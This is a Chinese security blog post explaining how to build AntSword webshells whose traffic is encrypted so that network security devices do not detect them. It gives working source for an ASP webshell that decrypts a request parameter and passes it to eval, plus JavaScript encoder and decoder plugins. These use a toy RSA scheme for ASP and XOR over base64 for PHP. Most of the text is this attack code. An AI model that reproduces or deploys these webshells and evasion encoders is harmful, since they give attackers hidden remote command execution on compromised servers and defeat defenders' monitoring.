浅谈蚁剑asp马和php马流量加密

t017f373c7bb12cb256

 

最近测试某 asp 站点的时候,上传了Webshell,直接写死执行代码的马可以成功访问并执行;可是如果是正常的 eval 马,直接访问是倒是可以,但蚁剑直接连接会超时。这时候考虑有可能因为流量是明文的被一些安全设备拦截了。便产生了编写流量加密马的想法。

本文重点在讲如何快速上手没有接触过的编程语言,并将之转换为其他语言的思路和方法,以及流量加密的一些小想法,希望提供一些启发给大家。至于马儿的免杀就先不详细说了,网上也有很多免杀文。

 

初探 asp 加解密

虽然没有学过 asp。但是编程思想都是互通的嘛。实现方式百度百度,函数查查手册,其实也能做。说干就干。首先把环境搭建下吧。

在Windows Server 中用 IIS 就可以很快搭建起来的。不过在测试某 asp 站点的时候,存在目录遍历,而且遍历的目录中有它正在使用的 asp 服务端程序。叫做NetBox2。是个精简代替IIS的Asp脚本的Web环境软件。我就顺手下载拿来当服务端使用了。

直接点击 NetBox2程序,改程序将把当前目录作为网站根目录

t0171af02dd360f37b1

有了服务端,接下来就可以编程序了。我想做的是一个流量加密马,想到流量加密自然想到了 rsa嘛,当场百度了一个 asp rsa 加密。兴致勃勃的将其运行。发现不太对劲,代码如下,有些长可以暂时不看,直接看代码最底下我写了注释那一段即可:

<%
C++lass clsRSA
Public PrivateKey
Public PublicKey
Public Modulus
Public Sub GenKey()
Dim lLngPhi
Dim q
Dim p
Randomize
Do
Do
' 2 random primary numbers (0 to 1000)
Do
p = Rnd * 1000 \ 1
Loop While Not IsPrime(p)
Do
q = Rnd * 1000 \ 1
Loop While Not IsPrime(q)
' n = product of 2 primes
Modulus = p * q \ 1
' random decryptor (2 to n)
PrivateKey = Rnd * (Modulus - 2) \ 1 + 2
lLngPhi = (p - 1) * (q - 1) \ 1
PublicKey = Euler(lLngPhi, PrivateKey)
Loop While PublicKey = 0 Or PublicKey = 1
' Loop if we can't crypt/decrypt a byte
Loop While Not TestCrypt(255)
End Sub
Private Function TestCrypt(ByRef pBytData)
Dim lStrCrypted
lStrCrypted = Crypt(pBytData, PublicKey)
TestCrypt = Crypt(lStrCrypted, PrivateKey) = pBytData
End Function
Private Function Euler(ByRef pLngPHI, ByRef pLngKey)
Dim lLngR(3)
Dim lLngP(3)
Dim lLngQ(3)
Dim lLngCounter
Dim lLngResult
Euler = 0
lLngR(1) = pLngPHI: lLngR(0) = pLngKey
lLngP(1) = 0: lLngP(0) = 1
lLngQ(1) = 2: lLngQ(0) = 0
lLngCounter = -1
Do Until lLngR(0) = 0
lLngR(2) = lLngR(1): lLngR(1) = lLngR(0)
lLngP(2) = lLngP(1): lLngP(1) = lLngP(0)
lLngQ(2) = lLngQ(1): lLngQ(1) = lLngQ(0)
lLngCounter = lLngCounter + 1
lLngR(0) = lLngR(2) Mod lLngR(1)
lLngP(0) = ((lLngR(2)\lLngR(1)) * lLngP(1)) + lLngP(2)
lLngQ(0) = ((lLngR(2)\lLngR(1)) * lLngQ(1)) + lLngQ(2)
Loop
lLngResult = (pLngKey * lLngP(1)) - (pLngPHI * lLngQ(1))
If lLngResult > 0 Then
Euler = lLngP(1)
Else
Euler = Abs(lLngP(1)) + pLngPHI
End If
End Function
Public Function Crypt(pLngMessage, pLngKey)
On Error Resume Next
Dim lLngMod
Dim lLngResult
Dim lLngIndex
If pLngKey Mod 2 = 0 Then
lLngResult = 1
For lLngIndex = 1 To pLngKey / 2
lLngMod = (pLngMessage ^ 2) Mod Modulus
' Mod may error on key geneRATion
lLngResult = (lLngMod * lLngResult) Mod Modulus
If Err Then Exit Function
Next
Else
lLngResult = pLngMessage
For lLngIndex = 1 To pLngKey / 2
lLngMod = (pLngMessage ^ 2) Mod Modulus
On Error Resume Next
' Mod may error on key generation
lLngResult = (lLngMod * lLngResult) Mod Modulus
If Err Then Exit Function
Next
End If
Crypt = lLngResult
End Function
Private Function IsPrime(ByRef pLngNumber)
Dim lLngSquare
Dim lLngIndex
IsPrime = False
If pLngNumber < 2 Then Exit Function
If pLngNumber Mod 2 = 0 Then Exit Function
lLngSquare = Sqr(pLngNumber)
For lLngIndex = 3 To lLngSquare Step 2
If pLngNumber Mod lLngIndex = 0 Then Exit Function
Next
IsPrime = True
End Function
Public Function Encode(ByVal pStrMessage)
Dim lLngIndex
Dim lLngMaxIndex
Dim lBytAscii
Dim lLngEncrypted
lLngMaxIndex = Len(pStrMessage)
If lLngMaxIndex = 0 Then Exit Function
For lLngIndex = 1 To lLngMaxIndex
lBytAscii = Asc(Mid(pStrMessage, lLngIndex, 1))
lLngEncrypted = Crypt(lBytAscii, PublicKey)
Encode = Encode & NumberToHex(lLngEncrypted, 4)
Next
End Function
Public Function Decode(ByVal pStrMessage)
Dim lBytAscii
Dim lLngIndex
Dim lLngMaxIndex
Dim lLngEncryptedData
Decode = ""
lLngMaxIndex = Len(pStrMessage)
For lLngIndex = 1 To lLngMaxIndex Step 4
lLngEncryptedData = HexToNumber(Mid(pStrMessage, lLngIndex, 4))
lBytAscii = Crypt(lLngEncryptedData, PrivateKey)
Decode = Decode & Chr(lBytAscii)
Next
End Function
Private Function NumberToHex(ByRef pLngNumber, ByRef pLngLength)
NumberToHex = Right(StRing(pLngLength, "0") & Hex(pLngNumber), pLngLength)
End Function
Private Function HexToNumber(ByRef pStrHex)
HexToNumber = CLng("&h" & pStrHex)
End Function
End Class
Dim LngKeyE
Dim LngKeyD
Dim LngKeyN
Dim StrMessage
Dim ObjRSA
Set ObjRSA = New clsRSA
Call ObjRSA.GenKey()
' 这里是得到生成的两个Key和一个Modulus
LngKeyE = ObjRSA.PublicKey
LngKeyD = ObjRSA.PrivateKey
LngKeyN = ObjRSA.Modulus
' 打印下上面三个密钥
response.write(LngKeyE&"</br")
response.write(LngKeyD&"</br>")
response.write(LngKeyN&"</br>")
' 需要被加密的明文
StrMessage = "justTest"
' 打印密文
StrMessage = ObjRSA.Encode(StrMessage)
response.write(StrMessage&"</br>")
'打印解密后的明文
StrMessage = ObjRSA.Decode(StrMessage)
response.write(StrMessage&"</br>")
%>

页面输出:

t018a4adf1178d7e1c0

这就不好玩了,Rsa不是有公钥和私钥吗,格式应该是长这样的:

t01016decee04350b96

这就有点头大了,因为如果加密方式不是常规的 Rsa 的话,蚁剑那边是 JAVAscript 编写的,就不能直接使用javascript的 Rsa 加密方法了。

再找找看看还有没有别的文章关于 asp Rsa 加密,可惜没有找到。。

那咋办。看着这加密得如此完美的密文,咬咬牙,那我们就仿照他的加解密算法,用 javascript 模仿 asp 写一个出来吧!

在我测试的那个站点中,写死的执行代码是能够回显的,但是使用蚁剑是连接超时,猜测应该是安全设备检测到了攻击流量,遂进行拦截。

但是响应的流量是不拦截的。不然我写死执行代码的 asp 文件不应该能够回显。

明确了是发送端流量需要加密后,我们便写一个蚁剑的编码器即可。编码器的功能为将发送的攻击流量进行加密。那么我们只需要仿写 asp 加密代码中的 Encode 函数即可。工作量一下子又少了一些呢。

由于蚁剑的使用的是 javascript,编码器也不例外。我们可以先不在蚁剑中编写代码,在外面新建一个 html 文件写 javascript 即可。

 

Javascript 仿写 Asp 加密函数

阅读下 asp 版的代码,可以发现它是编写了一个加密类。并且有三个成员变量。这三个成员变量就相当于加密的密钥

Class clsRSA
Public PrivateKey
Public PublicKey
Public Modulus
……

阅读加密函数,如下:

Public Function Encode(ByVal pStrMessage)
Dim lLngIndex
Dim lLngMaxIndex
Dim lBytAscii
Dim lLngEncrypted
lLngMaxIndex = Len(pStrMessage)
If lLngMaxIndex = 0 Then Exit Function
For lLngIndex = 1 To lLngMaxIndex
lBytAscii = Asc(Mid(pStrMessage, lLngIndex, 1))
lLngEncrypted = Crypt(lBytAscii, PublicKey)
Encode = Encode & NumberToHex(lLngEncrypted, 4)
Next
End Function

可以看到,加密函数中使用了 PublicKey。而这些 Key 的生成是在 GenKey 函数中:

Public Sub GenKey()
Dim lLngPhi
Dim q
Dim p
Randomize
Do
Do
' 2 random primary numbers (0 to 1000)
Do
p = Rnd * 1000 \ 1
Loop While Not IsPrime(p)
Do
q = Rnd * 1000 \ 1
Loop While Not IsPrime(q)
' n = product of 2 primes
Modulus = p * q \ 1
' random decryptor (2 to n)
PrivateKey = Rnd * (Modulus - 2) \ 1 + 2
lLngPhi = (p - 1) * (q - 1) \ 1
PublicKey = Euler(lLngPhi, PrivateKey)
Loop While PublicKey = 0 Or PublicKey = 1
' Loop if we can't crypt/decrypt a byte
Loop While Not TestCrypt(255)
End Sub

这。。。有点多。算了,本着最小化工作的原则,反正Key值在 asp 中也能生成,而且生成之后就是固定的。那我们就直接用 asp 中生成好的 Key 来进行加密即可。就可以不仿写生成key的 GenKey 函数,减少工作量。毕竟我的马还等着我去连它呢。。。

我们再访问一次 asp 文件,拿到三个密钥,新建好一个 html 文件中写好 js代码:

<script type="text/javascript">
var PublicKey = 31043
var PrivateKey = 26603
var Modulus = 30749
</script>

查询了下百度,发现 dim 为 asp 定义变量。那我们也跟着定义变量:

t0146d3a3ad5881373f

接着代码为:

lLngMaxIndex = Len(pStrMessage)
If lLngMaxIndex = 0 Then Exit Function

其实一眼也能看出来,第一个是获取 pStrMessage 的长度,接着是进行 if 判断,如果 lLngMaxIndex == 0,则退出函数。不过为了保险起见,最好还是查查手册。

地址:https://www.w3schools.com/asp/asp_conditionals.asp

可以配合 google 语法进行搜索,即

site:w3schools.com xxxxx

查完手册发现确实如此。翻看原来的 asp 文件可以知道 变量 pStrMessage 就是待加密的明文。这个 if 判断判断其长度不为零便需要终止函数,我们也得改写成函数

改写:

t018071f805865b9bac

改写 for 循环,asp 的 for 循环其实和 for i=0;i<x;i++ 一样。

接着是 for 循环里的一些函数,这些看看手册就能在 js 中找到对应的函数

第10行去调用了 asp 中自定义的函数 Crypt,这。。。工作量又得加大了。。暂时先不管,把 Encode 函数全部改写完先。

查了下手册可以知道, asp 函数返回值就是设置一个和函数名一样的变量,并给其赋值即可。

“&” 在 asp 中表示字符连接,变量连接。相当于 js 中的 “+” 或者 php 中的 “.”。

所以 Encode 函数 for 循环中最后一行的意思是:每次循环得到的数都需要累计保存起来,最后在函数退出时将其返回。

改写如下:

t01de80316475af4070

接着需要仿写 Crypt 和 NumberToHex 两个函数了。不急,慢慢来,耐住性子。

有了仿写 Encode 函数的经验,仿写这个就相对比较简单了

asp 中

^ 表示乘方

Mod 表示求余

改写如下,其中 for循环条件的 -1 是为了防止数组越界:

t011e1a42bbaae95c40

整个加密流程改写好后,现在本地测试下:

t01a8e761fedb3e1737

原明文: helloWorld

密文:2daa61596159540b2382540b687661591df7

在asp中,设死三个密钥,让其与我们 js中的一致,然后再输出下 helloWorld 的加密值:

t017a87e8766d50b14a

这。。。居然不一样。

这时就要展示强大的 debug 技巧了:

在js 和 asp 的 for 循环中对变量进行输出调试,进行对比,找不同

最后发现,由于 js 中循环变量初始值为1,循环时将会漏掉数组中第0个变量,导致结果不一样。

我们让Encode 和 Crypt 的 for 循环中让变量初始值设置为0即可:

t0130b3db306ffb6b15

密文成功对应

t0196214cf3865a1dac

这样 js 的加密部分基本就结束了,下面上蚁剑。

 

编写蚁剑编码器

首先编写下 asp 马,马儿只需要解密功能即可,将接收到的加密代码进行解密,之后使用 eval 函数。代码如下:

<%
Class clsRSA
Public PrivateKey
Public PublicKey
Public Modulus
Public Sub GenKey()
PublicKey = "31043"
PrivateKey = "26603"
Modulus = "30749"
End Sub
Public Function Crypt(pLngMessage, pLngKey)
On Error Resume Next
Dim lLngMod
Dim lLngResult
Dim lLngIndex
If pLngKey Mod 2 = 0 Then
lLngResult = 1
For lLngIndex = 1 To pLngKey / 2
lLngMod = (pLngMessage ^ 2) Mod Modulus
' Mod may error on key generation
lLngResult = (lLngMod * lLngResult) Mod Modulus
If Err Then Exit Function
Next
Else
lLngResult = pLngMessage
For lLngIndex = 1 To pLngKey / 2
lLngMod = (pLngMessage ^ 2) Mod Modulus
On Error Resume Next
' Mod may error on key generation
lLngResult = (lLngMod * lLngResult) Mod Modulus
If Err Then Exit Function
Next
End If
Crypt = lLngResult
End Function
Public Function Decode(ByVal pStrMessage)
Dim lBytAscii
Dim lLngIndex
Dim lLngMaxIndex
Dim lLngEncryptedData
Decode = ""
lLngMaxIndex = Len(pStrMessage)
For lLngIndex = 1 To lLngMaxIndex Step 4
lLngEncryptedData = HexToNumber(Mid(pStrMessage, lLngIndex, 4))
lBytAscii = Crypt(lLngEncryptedData, PrivateKey)
Decode = Decode & Chr(lBytAscii)
Next
End Function
Private Function HexToNumber(ByRef pStrHex)
HexToNumber = CLng("&h" & pStrHex)
End Function
End Class
Set ObjRSA = New clsRSA
Call ObjRSA.GenKey()
StrMessage = request("d1a2t3a4")
' 解密密文
StrMessage = ObjRSA.Decode(StrMessage)
' 使用eval执行
eval(StrMessage)
%>

接着编写蚁剑编码器,在 Encoders manager中,点击 New Encoder -> ASP。新建一个编码器,然后点击 Edit 进行编辑

刚创建好的编码器长这样:

说明下,在蚁剑中:

data[‘_’] 为原始payload

data[pwd] 为实际上发出去的payload。我们需要修改 data[‘_’],然后将其值赋值给 data[pwd]

t016163be18077eb326

修改如下:

/**
* asp::编码器
* Create at: 2020/11/21 11:38:36
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
var PublicKey = 31043
var PrivateKey = 26603
var Modulus = 30749
function Crypt(pLngMessage, pLngKey){
var lLngMod = ''
var lLngResult = ''
var lLngIndex = 0
if(pLngKey % 2 == 0){
lLngResult = 1
for (lLngIndex = 0; lLngIndex < (pLngKey/2)-1; lLngIndex++) {
lLngMod = (pLngMessage * pLngMessage) % Modulus
lLngResult = (lLngMod * lLngResult) % Modulus
}
}
else{
lLngResult = pLngMessage
for (lLngIndex = 0; lLngIndex < (pLngKey/2)-1; lLngIndex++) {
lLngMod = (pLngMessage * pLngMessage) % Modulus
lLngResult = (lLngMod * lLngResult) % Modulus
}
}
return lLngResult
}
function NumberToHex(pLngNumber, pLngLength){
var s = "0".repeat(pLngLength) + pLngNumber.toString(16)
s = s.substring(s.length-pLngLength,s.length)
return s
}
function Encode(pStrMessage){
var lLngIndex = ''
var lLngMaxIndex = ''
var lBytAscii = ''
var lLngEncrypted = ''
var res = ''
lLngMaxIndex = pStrMessage.length
if(lLngMaxIndex == 0){
return 0;
}
for(lLngIndex=0;lLngIndex<lLngMaxIndex;lLngIndex++){
lBytAscii = pStrMessage[lLngIndex].charCodeAt()
lLngEncrypted = Crypt(lBytAscii, PublicKey)
res = res + NumberToHex(lLngEncrypted, 4)
}
return res
}
//需要加密的明文为蚁剑的流量
var e = Encode(data['_'])
//更新蚁剑payload
data[pwd] = e
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}

编写好后在蚁剑中新增一个数据,设置一下url和连接密码等。

注意这里有个小细节,就是如果在之前的步骤中,如果生成三个key的时间比较长,那么后续解密的时候时间也是会长一些,可以把超时时间设置长一点点,或者可以选择重新生成一个时间比较短的key值。

ps:在文末有该项目的Github地址,里面生成key的算法稍稍优化了一些,不会导致连接卡顿。

t013498bba31ec0d09d

t013e41a2ca4ec021fe

我们开启 wireshark 抓下包看看:

t014718a3de52f813b9

成功加密流量:

t01fec1b81b8f3f095c

 

PHP流量加密

本来想试着写写 asp 响应包流量也加密的。可是在解码器中没有看到 asp 。只有一个 php。

这时突发奇想,那就做一个请求和响应 双加密的 php 马儿吧!说干就干,冲冲冲。

首先确定下 php 的流量该如何加密。如果用常规的 RSA 加密的话,需要使用 openssl 库方可使用。个人感觉这样子太重量级的,而且要是 php 没有装 openssl 库的话我们的加密马就用不了了。

个人认为加密的话,只要让安全设备还原不出正确的明文,即可过掉安全设备的流量监控。所以我们只需要采用简单的异或手法即可。

代码:

<?php
$number=2;
$s = "testHelloworld";
$res = '';
//取每个字符的 ascii码,逐一异或
for ($i=0; $i < strlen($s); $i++) {
//对比下新值和原值
echo ord($s[$i]).' ';
echo (ord($s[$i])^$number). '|';
$res .= ord($s[$i])^$number;
$res .= '/';
}
//最后会多一个 / ,需要手动去掉
$encode = rtrim($res,'/');
var_dump('</br>'.$encode);
?>

输出:

t01fc2a454aa347c98b

可以看到,异或了之后,原值和新值是不一样的。

加密后还需要还原,解密代码:

<?php
$number=2;
$s = "testHelloworld";
$res = '';
for ($i=0; $i < strlen($s); $i++) {
echo ord($s[$i]).' ';
echo (ord($s[$i])^$number). '|';
$res .= ord($s[$i])^$number;
$res .= '/';
}
$encode = rtrim($res,'/');
var_dump('</br>'.$encode.'</br>');
//------解密代码-------
$res = '';
//按照 / 分割字符的ascii码
$encode = explode('/',$encode);
foreach ($encode as $key => $value) {
echo ($value^$number).'|';
//将ascii码异或回原值
$res .= chr($value^$number);
}
var_dump($res);
?>

也发现其正常还原了数据:

t019e8b385a10b6bc22

不过直接用有个小问题,就是如果加密的是中文的话,就会有可能乱码。

为了以防万一,我们先将其进行 base64编解码,然后再进行加解密:

<?php
$number=2;
$s = "你好世界";
//先进行base64编码
$s = base64_encode($s);
$res = '';
for ($i=0; $i < strlen($s); $i++) {
$res .= ord($s[$i])^$number;
$res .= '/';
}
$encode = rtrim($res,'/');
echo $encode;
$res = '';
$encode = explode('/',$encode);
foreach ($encode as $key => $value) {
$res .= chr($value^$number);
}
//base64解码再输出
echo "</br>". base64_decode($res);
?>

t011b407839df31043c

ok,完美妈妈给完美开门,完美到家了。

直接上蚁剑,编码器如下:

/**
* php::x1_xor_encoder
* Create at: 2020/11/19 16:39:55
* Author: Xiaopan233
*/
'use strict';
module.exports = (pwd, data, ext={}) => {
var number = 2
var res = ''
//将payload进行base64编码
var d = btoa(data['_'])
//取每个字符的ascii码值进行异或
for (var i=0;i<d.length;i++) {
var t = d[i].charCodeAt()
t = t^number;
res += t
//以 / 进行分割
res += '/'
}
data[pwd] = res
delete data['_'];
return data;
}

解码器目前似乎只有php的:

t01ca826c21b888a14f

解码器代码:

/**
* php::x1_xor_decoder
* Create at: 2020/11/19 17:07:35
* Author: Xiaopan233
*/
'use strict';
module.exports = {
//这里为蚁剑发送payload过去之后,客户端应该如何回显。$out值为回显的数据
asoutput: () => {
return `function asenc($out){
$number=2;
$res = '';
//首先base64编码再加密
$out = base64_encode($out);
for ($i=0; $i < strlen($out); $i++) {
$res .= ord($out[$i])^$number;
$res .= '/';
}
return rtrim($res,'/');
}
`.replace(/\n\s+/g, '');
},
decode_buff: (data, ext={}) => {
var number=2;
var res = '';
//data是一个原型链,得先toString才能用
var s = data.toString()
s = s.split("/")
for(var i in s){
if(i == "unique"){
break
}
var n = s[i]^number
res += String.fromCharCode(n)
}
//base64解码
return atob(res);
}
}

测试,流量成功加密:

t01a83e74649eb4d786

t015cfab74cd18f6a2b

关于蚁剑的流量加密的编码器,我写了个小项目。如果师傅们喜欢就赏个star呗= =

 

项目地址

https://github.com/xiaopan233/AntSword-Cryption-WebShell

 

REFER

asp 手册:https://www.w3schools.com/asp/asp_conditionals.asp

本文由Xiaopan233原创发布转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/223784

标签